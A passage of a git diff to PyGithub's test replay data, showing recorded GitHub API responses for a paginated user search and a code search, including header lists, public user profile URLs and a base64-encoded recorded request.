thub/stargazers","contributors_url":"https://api.github.com/repos/GitHubClassroomTestCMPUT229/resource_pygithub/contributors","subscribers_url":"https://api.github.com/repos/GitHubClassroomTestCMPUT229/resource_pygithub/subscribers","subscription_url":"https://api.github.com/repos/GitHubClassroomTestCMPUT229/resource_pygithub/subscription","commits_url":"https://api.github.com/repos/GitHubClassroomTestCMPUT229/resource_pygithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/GitHubClassroomTestCMPUT229/resource_pygithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/GitHubClassroomTestCMPUT229/resource_pygithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/GitHubClassroomTestCMPUT229/resource_pygithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/GitHubClassroomTestCMPUT229/resource_pygithub/contents/{+path}","compare_url":"https://api.github.com/repos/GitHubClassroomTestCMPUT229/resource_pygithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/GitHubClassroomTestCMPUT229/resource_pygithub/merges","archive_url":"https://api.github.com/repos/GitHubClassroomTestCMPUT229/resource_pygithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/GitHubClassroomTestCMPUT229/resource_pygithub/downloads","issues_url":"https://api.github.com/repos/GitHubClassroomTestCMPUT229/resource_pygithub/issues{/number}","pulls_url":"https://api.github.com/repos/GitHubClassroomTestCMPUT229/resource_pygithub/pulls{/number}","milestones_url":"https://api.github.com/repos/GitHubClassroomTestCMPUT229/resource_pygithub/milestones{/number}","notifications_url":"https://api.github.com/repos/GitHubClassroomTestCMPUT229/resource_pygithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/GitHubClassroomTestCMPUT229/resource_pygithub/labels{/name}","releases_url":"https://api.github.com/repos/GitHubClassroomTestCMPUT229/resource_pygithub/releases{/id}","deployments_url":"https://api.github.com/repos/GitHubClassroomTestCMPUT229/resource_pygithub/deployments"},"score":1.0}]} - diff --git a/tests/ReplayData/Search.testPaginateSearchUsers.txt b/tests/ReplayData/Search.testPaginateSearchUsers.txt index 91fc882e09..e91c0e85fb 100644 --- a/tests/ReplayData/Search.testPaginateSearchUsers.txt +++ b/tests/ReplayData/Search.testPaginateSearchUsers.txt @@ -19,4 +19,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '27'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', '62E81E32:3E9D:3FD6319:5314034D'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept-Encoding'), ('content-length', '27211'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '30'), ('link', '; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('cache-control', 'no-cache'), ('date', 'Mon, 03 Mar 2014 04:21:34 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1393820529')] {"total_count":6038,"items":[{"login":"paulasmuth","id":564023,"avatar_url":"https://avatars.githubusercontent.com/u/564023","gravatar_id":"79f6cb1c222265cabb12781893faaea6","url":"https://api.github.com/users/paulasmuth","html_url":"https://github.com/paulasmuth","followers_url":"https://api.github.com/users/paulasmuth/followers","following_url":"https://api.github.com/users/paulasmuth/following{/other_user}","gists_url":"https://api.github.com/users/paulasmuth/gists{/gist_id}","starred_url":"https://api.github.com/users/paulasmuth/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/paulasmuth/subscriptions","organizations_url":"https://api.github.com/users/paulasmuth/orgs","repos_url":"https://api.github.com/users/paulasmuth/repos","events_url":"https://api.github.com/users/paulasmuth/events{/privacy}","received_events_url":"https://api.github.com/users/paulasmuth/received_events","type":"User","site_admin":false,"score":1.0},{"login":"splitbrain","id":86426,"avatar_url":"https://avatars.githubusercontent.com/u/86426","gravatar_id":"b6b4d7dbe3fb7cf61b68e36cd80f8698","url":"https://api.github.com/users/splitbrain","html_url":"https://github.com/splitbrain","followers_url":"https://api.github.com/users/splitbrain/followers","following_url":"https://api.github.com/users/splitbrain/following{/other_user}","gists_url":"https://api.github.com/users/splitbrain/gists{/gist_id}","starred_url":"https://api.github.com/users/splitbrain/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/splitbrain/subscriptions","organizations_url":"https://api.github.com/users/splitbrain/orgs","repos_url":"https://api.github.com/users/splitbrain/repos","events_url":"https://api.github.com/users/splitbrain/events{/privacy}","received_events_url":"https://api.github.com/users/splitbrain/received_events","type":"User","site_admin":false,"score":1.0},{"login":"langalex","id":2173,"avatar_url":"https://avatars.githubusercontent.com/u/2173","gravatar_id":"920993ef8f677cc1be50fde5ce8cb4bb","url":"https://api.github.com/users/langalex","html_url":"https://github.com/langalex","followers_url":"https://api.github.com/users/langalex/followers","following_url":"https://api.github.com/users/langalex/following{/other_user}","gists_url":"https://api.github.com/users/langalex/gists{/gist_id}","starred_url":"https://api.github.com/users/langalex/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/langalex/subscriptions","organizations_url":"https://api.github.com/users/langalex/orgs","repos_url":"https://api.github.com/users/langalex/repos","events_url":"https://api.github.com/users/langalex/events{/privacy}","received_events_url":"https://api.github.com/users/langalex/received_events","type":"User","site_admin":false,"score":1.0},{"login":"bendiken","id":4963,"avatar_url":"https://avatars.githubusercontent.com/u/4963","gravatar_id":"c29341e85441dfee17716b528747ec12","url":"https://api.github.com/users/bendiken","html_url":"https://github.com/bendiken","followers_url":"https://api.github.com/users/bendiken/followers","following_url":"https://api.github.com/users/bendiken/following{/other_user}","gists_url":"https://api.github.com/users/bendiken/gists{/gist_id}","starred_url":"https://api.github.com/users/bendiken/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bendiken/subscriptions","organizations_url":"https://api.github.com/users/bendiken/orgs","repos_url":"https://api.github.com/users/bendiken/repos","events_url":"https://api.github.com/users/bendiken/events{/privacy}","received_events_url":"https://api.github.com/users/bendiken/received_events","type":"User","site_admin":false,"score":1.0},{"login":"stefanw","id":78356,"avatar_url":"https://avatars.githubusercontent.com/u/78356","gravatar_id":"81a78ca8264a3fa56ddb24cc9f57a818","url":"https://api.github.com/users/stefanw","html_url":"https://github.com/stefanw","followers_url":"https://api.github.com/users/stefanw/followers","following_url":"https://api.github.com/users/stefanw/following{/other_user}","gists_url":"https://api.github.com/users/stefanw/gists{/gist_id}","starred_url":"https://api.github.com/users/stefanw/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/stefanw/subscriptions","organizations_url":"https://api.github.com/users/stefanw/orgs","repos_url":"https://api.github.com/users/stefanw/repos","events_url":"https://api.github.com/users/stefanw/events{/privacy}","received_events_url":"https://api.github.com/users/stefanw/received_events","type":"User","site_admin":false,"score":1.0},{"login":"timpritlove","id":119680,"avatar_url":"https://avatars.githubusercontent.com/u/119680","gravatar_id":"97391367796db965d19e63b690e72b3d","url":"https://api.github.com/users/timpritlove","html_url":"https://github.com/timpritlove","followers_url":"https://api.github.com/users/timpritlove/followers","following_url":"https://api.github.com/users/timpritlove/following{/other_user}","gists_url":"https://api.github.com/users/timpritlove/gists{/gist_id}","starred_url":"https://api.github.com/users/timpritlove/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/timpritlove/subscriptions","organizations_url":"https://api.github.com/users/timpritlove/orgs","repos_url":"https://api.github.com/users/timpritlove/repos","events_url":"https://api.github.com/users/timpritlove/events{/privacy}","received_events_url":"https://api.github.com/users/timpritlove/received_events","type":"User","site_admin":false,"score":1.0},{"login":"AndrewRadev","id":124255,"avatar_url":"https://avatars.githubusercontent.com/u/124255","gravatar_id":"fc59401781a26b10f5d4fc5b758fb3b7","url":"https://api.github.com/users/AndrewRadev","html_url":"https://github.com/AndrewRadev","followers_url":"https://api.github.com/users/AndrewRadev/followers","following_url":"https://api.github.com/users/AndrewRadev/following{/other_user}","gists_url":"https://api.github.com/users/AndrewRadev/gists{/gist_id}","starred_url":"https://api.github.com/users/AndrewRadev/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/AndrewRadev/subscriptions","organizations_url":"https://api.github.com/users/AndrewRadev/orgs","repos_url":"https://api.github.com/users/AndrewRadev/repos","events_url":"https://api.github.com/users/AndrewRadev/events{/privacy}","received_events_url":"https://api.github.com/users/AndrewRadev/received_events","type":"User","site_admin":false,"score":1.0},{"login":"knutin","id":364484,"avatar_url":"https://avatars.githubusercontent.com/u/364484","gravatar_id":"ca58f2819d0f9964efdfeaa0b6c9ebaf","url":"https://api.github.com/users/knutin","html_url":"https://github.com/knutin","followers_url":"https://api.github.com/users/knutin/followers","following_url":"https://api.github.com/users/knutin/following{/other_user}","gists_url":"https://api.github.com/users/knutin/gists{/gist_id}","starred_url":"https://api.github.com/users/knutin/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/knutin/subscriptions","organizations_url":"https://api.github.com/users/knutin/orgs","repos_url":"https://api.github.com/users/knutin/repos","events_url":"https://api.github.com/users/knutin/events{/privacy}","received_events_url":"https://api.github.com/users/knutin/received_events","type":"User","site_admin":false,"score":1.0},{"login":"kkaefer","id":52399,"avatar_url":"https://avatars.githubusercontent.com/u/52399","gravatar_id":"d3586b91137e12d1f521d07f118a187e","url":"https://api.github.com/users/kkaefer","html_url":"https://github.com/kkaefer","followers_url":"https://api.github.com/users/kkaefer/followers","following_url":"https://api.github.com/users/kkaefer/following{/other_user}","gists_url":"https://api.github.com/users/kkaefer/gists{/gist_id}","starred_url":"https://api.github.com/users/kkaefer/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kkaefer/subscriptions","organizations_url":"https://api.github.com/users/kkaefer/orgs","repos_url":"https://api.github.com/users/kkaefer/repos","events_url":"https://api.github.com/users/kkaefer/events{/privacy}","received_events_url":"https://api.github.com/users/kkaefer/received_events","type":"User","site_admin":false,"score":1.0},{"login":"carhartl","id":21918,"avatar_url":"https://avatars.githubusercontent.com/u/21918","gravatar_id":"ae8c6ae27f6b9d5707bc5a32d0fb21a6","url":"https://api.github.com/users/carhartl","html_url":"https://github.com/carhartl","followers_url":"https://api.github.com/users/carhartl/followers","following_url":"https://api.github.com/users/carhartl/following{/other_user}","gists_url":"https://api.github.com/users/carhartl/gists{/gist_id}","starred_url":"https://api.github.com/users/carhartl/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/carhartl/subscriptions","organizations_url":"https://api.github.com/users/carhartl/orgs","repos_url":"https://api.github.com/users/carhartl/repos","events_url":"https://api.github.com/users/carhartl/events{/privacy}","received_events_url":"https://api.github.com/users/carhartl/received_events","type":"User","site_admin":false,"score":1.0},{"login":"chriseidhof","id":5382,"avatar_url":"https://avatars.githubusercontent.com/u/5382","gravatar_id":"ade0c334ecff1448bb96f5f733bf1f83","url":"https://api.github.com/users/chriseidhof","html_url":"https://github.com/chriseidhof","followers_url":"https://api.github.com/users/chriseidhof/followers","following_url":"https://api.github.com/users/chriseidhof/following{/other_user}","gists_url":"https://api.github.com/users/chriseidhof/gists{/gist_id}","starred_url":"https://api.github.com/users/chriseidhof/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/chriseidhof/subscriptions","organizations_url":"https://api.github.com/users/chriseidhof/orgs","repos_url":"https://api.github.com/users/chriseidhof/repos","events_url":"https://api.github.com/users/chriseidhof/events{/privacy}","received_events_url":"https://api.github.com/users/chriseidhof/received_events","type":"User","site_admin":false,"score":1.0},{"login":"deanm","id":56582,"avatar_url":"https://avatars.githubusercontent.com/u/56582","gravatar_id":"8013da4cb41399860f264aa8dbd28912","url":"https://api.github.com/users/deanm","html_url":"https://github.com/deanm","followers_url":"https://api.github.com/users/deanm/followers","following_url":"https://api.github.com/users/deanm/following{/other_user}","gists_url":"https://api.github.com/users/deanm/gists{/gist_id}","starred_url":"https://api.github.com/users/deanm/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/deanm/subscriptions","organizations_url":"https://api.github.com/users/deanm/orgs","repos_url":"https://api.github.com/users/deanm/repos","events_url":"https://api.github.com/users/deanm/events{/privacy}","received_events_url":"https://api.github.com/users/deanm/received_events","type":"User","site_admin":false,"score":1.0},{"login":"plu","id":31597,"avatar_url":"https://avatars.githubusercontent.com/u/31597","gravatar_id":"cacc359ee20d3423087f957241cffd2b","url":"https://api.github.com/users/plu","html_url":"https://github.com/plu","followers_url":"https://api.github.com/users/plu/followers","following_url":"https://api.github.com/users/plu/following{/other_user}","gists_url":"https://api.github.com/users/plu/gists{/gist_id}","starred_url":"https://api.github.com/users/plu/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/plu/subscriptions","organizations_url":"https://api.github.com/users/plu/orgs","repos_url":"https://api.github.com/users/plu/repos","events_url":"https://api.github.com/users/plu/events{/privacy}","received_events_url":"https://api.github.com/users/plu/received_events","type":"User","site_admin":false,"score":1.0},{"login":"netroy","id":196144,"avatar_url":"https://avatars.githubusercontent.com/u/196144","gravatar_id":"9a86cafc047f2c2766660e61eeb9be80","url":"https://api.github.com/users/netroy","html_url":"https://github.com/netroy","followers_url":"https://api.github.com/users/netroy/followers","following_url":"https://api.github.com/users/netroy/following{/other_user}","gists_url":"https://api.github.com/users/netroy/gists{/gist_id}","starred_url":"https://api.github.com/users/netroy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/netroy/subscriptions","organizations_url":"https://api.github.com/users/netroy/orgs","repos_url":"https://api.github.com/users/netroy/repos","events_url":"https://api.github.com/users/netroy/events{/privacy}","received_events_url":"https://api.github.com/users/netroy/received_events","type":"User","site_admin":false,"score":1.0},{"login":"343max","id":33906,"avatar_url":"https://avatars.githubusercontent.com/u/33906","gravatar_id":"deea421f48d4fe384e65f52bf33005bc","url":"https://api.github.com/users/343max","html_url":"https://github.com/343max","followers_url":"https://api.github.com/users/343max/followers","following_url":"https://api.github.com/users/343max/following{/other_user}","gists_url":"https://api.github.com/users/343max/gists{/gist_id}","starred_url":"https://api.github.com/users/343max/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/343max/subscriptions","organizations_url":"https://api.github.com/users/343max/orgs","repos_url":"https://api.github.com/users/343max/repos","events_url":"https://api.github.com/users/343max/events{/privacy}","received_events_url":"https://api.github.com/users/343max/received_events","type":"User","site_admin":false,"score":1.0},{"login":"janlelis","id":111510,"avatar_url":"https://avatars.githubusercontent.com/u/111510","gravatar_id":"901b686e3824cd357b169ac7ce431b1b","url":"https://api.github.com/users/janlelis","html_url":"https://github.com/janlelis","followers_url":"https://api.github.com/users/janlelis/followers","following_url":"https://api.github.com/users/janlelis/following{/other_user}","gists_url":"https://api.github.com/users/janlelis/gists{/gist_id}","starred_url":"https://api.github.com/users/janlelis/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/janlelis/subscriptions","organizations_url":"https://api.github.com/users/janlelis/orgs","repos_url":"https://api.github.com/users/janlelis/repos","events_url":"https://api.github.com/users/janlelis/events{/privacy}","received_events_url":"https://api.github.com/users/janlelis/received_events","type":"User","site_admin":false,"score":1.0},{"login":"lstoll","id":694,"avatar_url":"https://avatars.githubusercontent.com/u/694","gravatar_id":"016e1583dcc7cb2b435b7607c1bce58f","url":"https://api.github.com/users/lstoll","html_url":"https://github.com/lstoll","followers_url":"https://api.github.com/users/lstoll/followers","following_url":"https://api.github.com/users/lstoll/following{/other_user}","gists_url":"https://api.github.com/users/lstoll/gists{/gist_id}","starred_url":"https://api.github.com/users/lstoll/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/lstoll/subscriptions","organizations_url":"https://api.github.com/users/lstoll/orgs","repos_url":"https://api.github.com/users/lstoll/repos","events_url":"https://api.github.com/users/lstoll/events{/privacy}","received_events_url":"https://api.github.com/users/lstoll/received_events","type":"User","site_admin":true,"score":1.0},{"login":"panique","id":156321,"avatar_url":"https://avatars.githubusercontent.com/u/156321","gravatar_id":"ba916cb1c1327b700cf2f753684c2b4f","url":"https://api.github.com/users/panique","html_url":"https://github.com/panique","followers_url":"https://api.github.com/users/panique/followers","following_url":"https://api.github.com/users/panique/following{/other_user}","gists_url":"https://api.github.com/users/panique/gists{/gist_id}","starred_url":"https://api.github.com/users/panique/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/panique/subscriptions","organizations_url":"https://api.github.com/users/panique/orgs","repos_url":"https://api.github.com/users/panique/repos","events_url":"https://api.github.com/users/panique/events{/privacy}","received_events_url":"https://api.github.com/users/panique/received_events","type":"User","site_admin":false,"score":1.0},{"login":"ddfreyne","id":6269,"avatar_url":"https://avatars.githubusercontent.com/u/6269","gravatar_id":"be732ee41fd3038aa98a0a7e7b7be081","url":"https://api.github.com/users/ddfreyne","html_url":"https://github.com/ddfreyne","followers_url":"https://api.github.com/users/ddfreyne/followers","following_url":"https://api.github.com/users/ddfreyne/following{/other_user}","gists_url":"https://api.github.com/users/ddfreyne/gists{/gist_id}","starred_url":"https://api.github.com/users/ddfreyne/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ddfreyne/subscriptions","organizations_url":"https://api.github.com/users/ddfreyne/orgs","repos_url":"https://api.github.com/users/ddfreyne/repos","events_url":"https://api.github.com/users/ddfreyne/events{/privacy}","received_events_url":"https://api.github.com/users/ddfreyne/received_events","type":"User","site_admin":false,"score":1.0},{"login":"marinho","id":4506,"avatar_url":"https://avatars.githubusercontent.com/u/4506","gravatar_id":"ba8d6cfcd9997a75b2ce7afc7bf79444","url":"https://api.github.com/users/marinho","html_url":"https://github.com/marinho","followers_url":"https://api.github.com/users/marinho/followers","following_url":"https://api.github.com/users/marinho/following{/other_user}","gists_url":"https://api.github.com/users/marinho/gists{/gist_id}","starred_url":"https://api.github.com/users/marinho/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/marinho/subscriptions","organizations_url":"https://api.github.com/users/marinho/orgs","repos_url":"https://api.github.com/users/marinho/repos","events_url":"https://api.github.com/users/marinho/events{/privacy}","received_events_url":"https://api.github.com/users/marinho/received_events","type":"User","site_admin":false,"score":1.0},{"login":"infusion","id":197742,"avatar_url":"https://avatars.githubusercontent.com/u/197742","gravatar_id":"7c6a030ccf1fddcec6ea428d6171a79d","url":"https://api.github.com/users/infusion","html_url":"https://github.com/infusion","followers_url":"https://api.github.com/users/infusion/followers","following_url":"https://api.github.com/users/infusion/following{/other_user}","gists_url":"https://api.github.com/users/infusion/gists{/gist_id}","starred_url":"https://api.github.com/users/infusion/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/infusion/subscriptions","organizations_url":"https://api.github.com/users/infusion/orgs","repos_url":"https://api.github.com/users/infusion/repos","events_url":"https://api.github.com/users/infusion/events{/privacy}","received_events_url":"https://api.github.com/users/infusion/received_events","type":"User","site_admin":false,"score":1.0},{"login":"keyboardsurfer","id":336005,"avatar_url":"https://avatars.githubusercontent.com/u/336005","gravatar_id":"d2a06312762581d504ba0a25e5a90def","url":"https://api.github.com/users/keyboardsurfer","html_url":"https://github.com/keyboardsurfer","followers_url":"https://api.github.com/users/keyboardsurfer/followers","following_url":"https://api.github.com/users/keyboardsurfer/following{/other_user}","gists_url":"https://api.github.com/users/keyboardsurfer/gists{/gist_id}","starred_url":"https://api.github.com/users/keyboardsurfer/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/keyboardsurfer/subscriptions","organizations_url":"https://api.github.com/users/keyboardsurfer/orgs","repos_url":"https://api.github.com/users/keyboardsurfer/repos","events_url":"https://api.github.com/users/keyboardsurfer/events{/privacy}","received_events_url":"https://api.github.com/users/keyboardsurfer/received_events","type":"User","site_admin":false,"score":1.0},{"login":"tcurdt","id":13697,"avatar_url":"https://avatars.githubusercontent.com/u/13697","gravatar_id":"cdf5f524330ccabaeda576749a34a30b","url":"https://api.github.com/users/tcurdt","html_url":"https://github.com/tcurdt","followers_url":"https://api.github.com/users/tcurdt/followers","following_url":"https://api.github.com/users/tcurdt/following{/other_user}","gists_url":"https://api.github.com/users/tcurdt/gists{/gist_id}","starred_url":"https://api.github.com/users/tcurdt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/tcurdt/subscriptions","organizations_url":"https://api.github.com/users/tcurdt/orgs","repos_url":"https://api.github.com/users/tcurdt/repos","events_url":"https://api.github.com/users/tcurdt/events{/privacy}","received_events_url":"https://api.github.com/users/tcurdt/received_events","type":"User","site_admin":false,"score":1.0},{"login":"theophani","id":364246,"avatar_url":"https://avatars.githubusercontent.com/u/364246","gravatar_id":"7b1746f5ae99453e6a67f022ec0d73bd","url":"https://api.github.com/users/theophani","html_url":"https://github.com/theophani","followers_url":"https://api.github.com/users/theophani/followers","following_url":"https://api.github.com/users/theophani/following{/other_user}","gists_url":"https://api.github.com/users/theophani/gists{/gist_id}","starred_url":"https://api.github.com/users/theophani/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/theophani/subscriptions","organizations_url":"https://api.github.com/users/theophani/orgs","repos_url":"https://api.github.com/users/theophani/repos","events_url":"https://api.github.com/users/theophani/events{/privacy}","received_events_url":"https://api.github.com/users/theophani/received_events","type":"User","site_admin":false,"score":1.0},{"login":"till","id":27003,"avatar_url":"https://avatars.githubusercontent.com/u/27003","gravatar_id":"b33d0462e6324cce17b09a83f349aaac","url":"https://api.github.com/users/till","html_url":"https://github.com/till","followers_url":"https://api.github.com/users/till/followers","following_url":"https://api.github.com/users/till/following{/other_user}","gists_url":"https://api.github.com/users/till/gists{/gist_id}","starred_url":"https://api.github.com/users/till/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/till/subscriptions","organizations_url":"https://api.github.com/users/till/orgs","repos_url":"https://api.github.com/users/till/repos","events_url":"https://api.github.com/users/till/events{/privacy}","received_events_url":"https://api.github.com/users/till/received_events","type":"User","site_admin":false,"score":1.0},{"login":"cebe","id":189796,"avatar_url":"https://avatars.githubusercontent.com/u/189796","gravatar_id":"2ebfe57beabd0b9f8eb9ded1237a275d","url":"https://api.github.com/users/cebe","html_url":"https://github.com/cebe","followers_url":"https://api.github.com/users/cebe/followers","following_url":"https://api.github.com/users/cebe/following{/other_user}","gists_url":"https://api.github.com/users/cebe/gists{/gist_id}","starred_url":"https://api.github.com/users/cebe/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/cebe/subscriptions","organizations_url":"https://api.github.com/users/cebe/orgs","repos_url":"https://api.github.com/users/cebe/repos","events_url":"https://api.github.com/users/cebe/events{/privacy}","received_events_url":"https://api.github.com/users/cebe/received_events","type":"User","site_admin":false,"score":1.0},{"login":"amery","id":131371,"avatar_url":"https://avatars.githubusercontent.com/u/131371","gravatar_id":"ddf8b09b2681ad4abe831b5e3c05cff0","url":"https://api.github.com/users/amery","html_url":"https://github.com/amery","followers_url":"https://api.github.com/users/amery/followers","following_url":"https://api.github.com/users/amery/following{/other_user}","gists_url":"https://api.github.com/users/amery/gists{/gist_id}","starred_url":"https://api.github.com/users/amery/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/amery/subscriptions","organizations_url":"https://api.github.com/users/amery/orgs","repos_url":"https://api.github.com/users/amery/repos","events_url":"https://api.github.com/users/amery/events{/privacy}","received_events_url":"https://api.github.com/users/amery/received_events","type":"User","site_admin":false,"score":1.0},{"login":"myabc","id":755,"avatar_url":"https://avatars.githubusercontent.com/u/755","gravatar_id":"9b1a71682de14fc6fc2b944a9c4814a0","url":"https://api.github.com/users/myabc","html_url":"https://github.com/myabc","followers_url":"https://api.github.com/users/myabc/followers","following_url":"https://api.github.com/users/myabc/following{/other_user}","gists_url":"https://api.github.com/users/myabc/gists{/gist_id}","starred_url":"https://api.github.com/users/myabc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/myabc/subscriptions","organizations_url":"https://api.github.com/users/myabc/orgs","repos_url":"https://api.github.com/users/myabc/repos","events_url":"https://api.github.com/users/myabc/events{/privacy}","received_events_url":"https://api.github.com/users/myabc/received_events","type":"User","site_admin":false,"score":1.0},{"login":"telekommunisten","id":420921,"avatar_url":"https://avatars.githubusercontent.com/u/420921","gravatar_id":"307848b658ef6b70e72b416ce40699ae","url":"https://api.github.com/users/telekommunisten","html_url":"https://github.com/telekommunisten","followers_url":"https://api.github.com/users/telekommunisten/followers","following_url":"https://api.github.com/users/telekommunisten/following{/other_user}","gists_url":"https://api.github.com/users/telekommunisten/gists{/gist_id}","starred_url":"https://api.github.com/users/telekommunisten/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/telekommunisten/subscriptions","organizations_url":"https://api.github.com/users/telekommunisten/orgs","repos_url":"https://api.github.com/users/telekommunisten/repos","events_url":"https://api.github.com/users/telekommunisten/events{/privacy}","received_events_url":"https://api.github.com/users/telekommunisten/received_events","type":"User","site_admin":false,"score":1.0},{"login":"kilaulena","id":25003,"avatar_url":"https://avatars.githubusercontent.com/u/25003","gravatar_id":"7712d746190ebd449f9c4bc042f44c21","url":"https://api.github.com/users/kilaulena","html_url":"https://github.com/kilaulena","followers_url":"https://api.github.com/users/kilaulena/followers","following_url":"https://api.github.com/users/kilaulena/following{/other_user}","gists_url":"https://api.github.com/users/kilaulena/gists{/gist_id}","starred_url":"https://api.github.com/users/kilaulena/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kilaulena/subscriptions","organizations_url":"https://api.github.com/users/kilaulena/orgs","repos_url":"https://api.github.com/users/kilaulena/repos","events_url":"https://api.github.com/users/kilaulena/events{/privacy}","received_events_url":"https://api.github.com/users/kilaulena/received_events","type":"User","site_admin":false,"score":1.0}]} - diff --git a/tests/ReplayData/Search.testSearchCode.txt b/tests/ReplayData/Search.testSearchCode.txt index e8cf287668..af456ba920 100644 --- a/tests/ReplayData/Search.testSearchCode.txt +++ b/tests/ReplayData/Search.testSearchCode.txt @@ -19,4 +19,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4996'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', '62E81E32:5371:8412B70:53140AF7'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding'), ('content-length', '10383'), ('server', 'GitHub.com'), ('last-modified', 'Sun, 07 Jul 2013 15:52:43 GMT'), ('x-ratelimit-limit', '5000'), ('etag', '"b14a006b167b6ee8ef3a55e01c63f7d5"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Mon, 03 Mar 2014 04:54:15 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1393823721')] {"name":"Commit.setUp.txt","path":"github/tests/ReplayData/Commit.setUp.txt","sha":"eb063311ef37a1444a98c9f98acfed2b4caaa738","size":6820,"url":"https://api.github.com/repos/jacquev6/PyGithub/contents/github/tests/ReplayData/Commit.setUp.txt?ref=72f8876112ba029111c739871e3e4d7bce66b95d","html_url":"https://github.com/jacquev6/PyGithub/blob/72f8876112ba029111c739871e3e4d7bce66b95d/github/tests/ReplayData/Commit.setUp.txt","git_url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs/eb063311ef37a1444a98c9f98acfed2b4caaa738","type":"file","content":"aHR0cHMKR0VUCmFwaS5naXRodWIuY29tCk5vbmUKL3VzZXIKeydBdXRob3Jp\nemF0aW9uJzogJ0Jhc2ljIGxvZ2luX2FuZF9wYXNzd29yZF9yZW1vdmVkJywg\nJ1VzZXItQWdlbnQnOiAnUHlHaXRodWIvUHl0aG9uJ30KbnVsbAoyMDAKWygn\nc3RhdHVzJywgJzIwMCBPSycpLCAoJ3gtcmF0ZWxpbWl0LXJlbWFpbmluZycs\nICc0OTc2JyksICgnY29udGVudC1sZW5ndGgnLCAnODAxJyksICgnc2VydmVy\nJywgJ25naW54LzEuMC4xMycpLCAoJ2Nvbm5lY3Rpb24nLCAna2VlcC1hbGl2\nZScpLCAoJ3gtcmF0ZWxpbWl0LWxpbWl0JywgJzUwMDAnKSwgKCdldGFnJywg\nJyJlYjllMTQ4NjJiYWE3MWMwNGI4ZjBlNzNhYjg3MDc1NiInKSwgKCdkYXRl\nJywgJ1N1biwgMjcgTWF5IDIwMTIgMDY6NTA6NTEgR01UJyksICgnY29udGVu\ndC10eXBlJywgJ2FwcGxpY2F0aW9uL2pzb247IGNoYXJzZXQ9dXRmLTgnKV0K\neyJwdWJsaWNfZ2lzdHMiOjMsInR5cGUiOiJVc2VyIiwiZGlza191c2FnZSI6\nMTY5NzYsInByaXZhdGVfZ2lzdHMiOjUsInB1YmxpY19yZXBvcyI6MTEsInVy\nbCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvamFjcXVldjYiLCJ0\nb3RhbF9wcml2YXRlX3JlcG9zIjo1LCJwbGFuIjp7InByaXZhdGVfcmVwb3Mi\nOjUsImNvbGxhYm9yYXRvcnMiOjEsIm5hbWUiOiJtaWNybyIsInNwYWNlIjo2\nMTQ0MDB9LCJibG9nIjoiaHR0cDovL3ZpbmNlbnQtamFjcXVlcy5uZXQiLCJh\ndmF0YXJfdXJsIjoiaHR0cHM6Ly9zZWN1cmUuZ3JhdmF0YXIuY29tL2F2YXRh\nci9iNjhkZTVhZTM4NjE2YzI5NmZhMzQ1ZDJiOWRmMjIyNT9kPWh0dHBzOi8v\nYTI0OC5lLmFrYW1haS5uZXQvYXNzZXRzLmdpdGh1Yi5jb20lMkZpbWFnZXMl\nMkZncmF2YXRhcnMlMkZncmF2YXRhci0xNDAucG5nI